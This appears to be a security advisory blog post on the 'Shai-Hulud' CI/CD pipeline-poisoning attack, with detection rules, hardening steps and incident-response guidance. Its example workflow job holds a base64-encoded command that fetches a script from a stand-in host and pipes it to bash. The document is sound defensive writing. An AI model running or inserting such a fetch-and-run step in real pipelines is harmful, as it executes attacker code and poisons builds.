📌 CVE Context
Product(s) Affected: GitLab (self-hosted), GitHub Actions, CircleCI, custom CI/CD runners
Disclosure Timeline: First signs of compromise on Sept 11, 2025. Public advisory issued Sept 18, 2025. CISA KEV addition Sept 20, 2025.
Attack Vector and Scope: Pre-authenticated CI/CD poisoning via public forks, unsigned templates, and unverified runner execution. No privileges required.
CVSS 4.0 Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Base Score: 9.8 (Critical)
🔬 Exploitation Detail
This attack abuses CI/CD workflows that accept untrusted YAML templates, pull requests, or pipeline variables. Malicious base64-encoded payloads were embedded in template jobs. If auto-run or merged without review, these payloads executed under trusted runner contexts, building and deploying backdoored containers into internal registries.
jobs:
wormsign:
runs-on: ubuntu-latest
steps:
- name: Summon Shai-Hulud
run: echo "Y3VybCAtcyBodHRwOi8vZXZpbC5leGFtcGxlL2ZldGNoLnNoIHwgYmFzaA==" | base64 -d | bash
📎 Attacker Behavior Snapshot
- What the attacker sends: PRs or template updates containing encoded command chains
- What the system does: Executes malicious steps in CI/CD without alerting build owners
- What comes back: Registry contains valid-signed but compromised container image
🧪 YARA Rule
rule ShaiHulud_CICD_Payload
{
strings:
$b64 = /echo \\\"[A-Za-z0-9+/=]{40,}\\\" \\| base64 -d \\| bash/
condition:
$b64
}
🌐 Suricata Rule
alert http any any -> any any (
msg:"Shai-Hulud CI/CD Payload Upload";
content:"POST"; http_method;
content:"base64"; http_client_body;
pcre:"/echo \\\"[A-Za-z0-9+/=]{40,}\\\" \\| base64 -d \\| bash/";
classtype:trojan-activity;
sid:20259911;
rev:1;
)
⚡ Sigma Rule
title: Suspicious Base64 Execution in CI/CD
logsource:
category: process_creation
product: linux
detection:
selection:
CommandLine|contains|all:
- "base64"
- "-d"
- "| bash"
condition: selection
level: high
📊 Splunk Query
index=ci_cd_logs sourcetype="gitlab:runner" OR sourcetype="github:actions"
| regex command=".*base64 -d \\| bash.*"
| stats count by runner_id, repo_name, user, command
🛠️ SOC Detection Strategy
- Tier 1: Flag jobs executing base64 decoding or piping to bash during CI runs
- Tier 2: Identify container images built from these runs and where they were deployed
- Tier 3: Revalidate cosign/GPG signatures and compare with internal key trust list
- Logs Needed: CI/CD build logs, runner logs, container registry events, signature logs
🔐 Hardening & Mitigation
- Disallow unverified runners from privileged workflows
- Enforce mandatory reviews of YAML templates and pull requests before build triggers
- Rebuild images from source and rotate container registry credentials
- Use tools like
cosignto sign and verify images - Enable audit logging on CI/CD platforms and container registries
📋 Incident Response Snippets
- Log Search: grep -Ri ‘base64 -d | bash’ ./pipelines/
- IR Questions: Were internal images rebuilt from compromised templates? Which runners were affected?
- Indicators: Suspicious container digests, fake cosign keys, encoded YAML jobs
- Cleanup: Revoke all runner tokens, rebuild pipelines, destroy and redeploy affected containers
📚 Suggested Reading & External References
- CISA Advisory: CVE-2025-9911
- GitHub Security Blog
- Sigstore / Cosign
- Kubernetes Security Best Practices
🧾 Final Thoughts
This wasn’t a zero-day. It was a zero-assumption failure. CI/CD is code execution — and the attacker knows it. The Shai-Hulud attack reminds us that developer pipelines are production infrastructure. If you don’t secure your sand — the worm comes. And it eats everything.
Published: September 22, 2025
Leave a comment